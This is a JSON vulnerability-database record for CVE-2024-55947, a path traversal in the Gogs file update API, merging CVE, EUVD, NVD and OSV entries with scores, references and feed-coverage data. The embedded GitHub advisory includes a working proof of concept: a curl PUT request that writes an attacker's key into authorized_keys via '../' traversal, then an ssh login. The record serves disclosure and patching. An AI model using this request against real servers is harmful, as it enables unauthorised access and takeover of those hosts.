{"id":"EUVD-2024-3608","revision":null,"records":[{"revision":"2f4ef396982b4b288aad12b3cae8123b","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2024-55947","aliases":[],"title":"Gogs has a Path Traversal in file update API","description":"Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","state":0,"publishedAt":"2024-12-23T15:26:47.507+00:00","modifiedAt":"2024-12-24T15:59:02.793+00:00","affected":[{"ecosystem":"Vendor product","name":"gogs","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"gogs\",\n                    \"product\": \"gogs\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.13.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"}],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg","https://github.com/gogs/gogs/issues/7582","https://github.com/gogs/gogs/pull/7859","https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-55947","license":"CVE Program Terms of Use","key":"cve-program:CVE-2024-55947","identifiers":["CVE-2024-55947"]},"retained":false,"historicalAffected":[]},{"revision":"7bbe0f1bc2dc4009940e7baa8f6c39ec","observedAt":"2026-11-15T02:37:53.728+00:00","statement":{"source":"euvd","id":"EUVD-2024-3608","aliases":["CVE-2024-55947","GHSA-qf5v-rp47-55gg"],"title":"Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","description":"Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg","https://github.com/gogs/gogs/issues/7582","https://github.com/gogs/gogs/pull/7859","https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2024-3608","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Dec 23, 2024, 3:26:47 PM","dateUpdated":"Dec 24, 2024, 3:59:02 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2025:14624-1","title":"govulncheck-vulndb-0.0.20250108T191942-1.1 on GA media","vulnerabilityIds":["CVE-2024-25133","CVE-2024-28892","CVE-2024-45387","CVE-2024-54148","CVE-2024-55196","CVE-2024-55947","CVE-2024-56362","CVE-2024-56513","CVE-2024-56514","CVE-2025-21609","CVE-2025-21613","CVE-2025-21614","CVE-2025-22130"]},{"id":"SUSE-SU-2025:0060-1","title":"Security update for govulncheck-vulndb","vulnerabilityIds":["CVE-2024-12678","CVE-2024-25131","CVE-2024-25133","CVE-2024-28892","CVE-2024-43803","CVE-2024-45338","CVE-2024-45387","CVE-2024-54148","CVE-2024-55196","CVE-2024-55947","CVE-2024-56362","CVE-2024-56513","CVE-2024-56514","CVE-2024-9779","CVE-2025-21609","CVE-2025-21613","CVE-2025-21614","CVE-2025-22130"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2024-3608","identifiers":["EUVD-2024-3608","CVE-2024-55947","GHSA-qf5v-rp47-55gg"]},"retained":false,"historicalAffected":[]},{"revision":"f2f79cf0ac214efdaf8ca5cef2af04f2","observedAt":"2026-10-25T01:17:17.137+00:00","statement":{"source":"nvd","id":"CVE-2024-55947","aliases":[],"title":"Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","description":"Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","state":0,"publishedAt":"2024-12-23T16:15:07.253+00:00","modifiedAt":"2026-06-17T08:11:28.68+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41","https://github.com/gogs/gogs/issues/7582","https://github.com/gogs/gogs/pull/7859","https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-55947","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-22"],"productCriteria":["cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2024-12-23T16:15:07.253","lastModified":"2026-06-17T08:11:28.680"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2024-55947","identifiers":["CVE-2024-55947"]},"retained":false,"historicalAffected":[]},{"revision":"80e8074dff0140c5bd157b719ddb7d6e","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-qf5v-rp47-55gg","aliases":["CVE-2024-55947","GO-2024-3356"],"title":"Path Traversal in file update API in gogs","description":"### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n    ```bash\n    curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n    -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n    -H \"Content-Type: application/json\" \\\n    --data '{\n      \"message\": \"an\",\n      \"content\": \"<base64encoded: your ssh pub key>\"\n    }'\n    ```\n\n3. ssh connect to remote server\n\n    ```bash\n    ssh -i temp git@localhost -p 10022\n    ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.","state":0,"publishedAt":"2024-12-23T17:53:16+00:00","modifiedAt":"2026-09-10T03:50:56.1302901+00:00","affected":[{"ecosystem":"Go","name":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.13.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg","https://nvd.nist.gov/vuln/detail/CVE-2024-55947","https://github.com/gogs/gogs/issues/7582","https://github.com/gogs/gogs/pull/7859","https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41","https://github.com/gogs/gogs"],"sourceUrl":"https://github.com/advisories/GHSA-qf5v-rp47-55gg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qf5v-rp47-55gg","identifiers":["GHSA-qf5v-rp47-55gg","CVE-2024-55947","GO-2024-3356"]},"retained":false,"historicalAffected":[]},{"revision":"d3e72bb3c95f44a0b8d3e27becd28632","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2024-3356","aliases":["CVE-2024-55947","GHSA-qf5v-rp47-55gg"],"title":"Path Traversal in file update API in gogs in gogs.io/gogs","description":"Path Traversal in file update API in gogs in gogs.io/gogs","state":0,"publishedAt":"2025-01-07T16:03:18+00:00","modifiedAt":"2026-03-03T04:56:09.451205+00:00","affected":[{"ecosystem":"Go","name":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.13.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg","https://nvd.nist.gov/vuln/detail/CVE-2024-55947","https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41","https://github.com/gogs/gogs/issues/7582","https://github.com/gogs/gogs/pull/7859"],"sourceUrl":"https://osv.dev/vulnerability/GO-2024-3356","license":"OSV · upstream source license applies","key":"osv:GO-2024-3356","identifiers":["GO-2024-3356","CVE-2024-55947","GHSA-qf5v-rp47-55gg"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.2867767+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.2867777+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-24e910670d68255a90dfc1d94d37ac5394a0a43e960361a78142e746e5b8e0e9","complete":true,"records":425790,"lastAttemptAt":"2026-11-15T13:01:16.7308429+00:00","lastSuccessAt":"2026-11-15T13:01:16.7018281+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:16.7308429+00:00","snapshotPublishedAt":"2026-11-15T12:22:01+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c26b2c7bd2d24b5586a1a08195c8b87d","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T13:14:52.3015368+00:00","lastSuccessAt":"2026-11-15T13:14:52.5095735+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:14:52.5095735+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T13:01:41.3445250+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T13:01:41.344525+00:00","lastSuccessAt":"2026-11-15T13:01:46.3027206+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:46.3027219+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-00496e381624434cb51cd6ee97f87d5f","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T13:02:04.5706057+00:00","lastSuccessAt":"2026-11-15T13:02:04.555+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:02:04.555+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T13:01:38.1237717+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:38.1237717+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T13:01:22.067621+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:22.067621+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T13:01:41.1317031+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:41.1317031+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T13:01:28.8971106+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T13:01:28.8971106+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}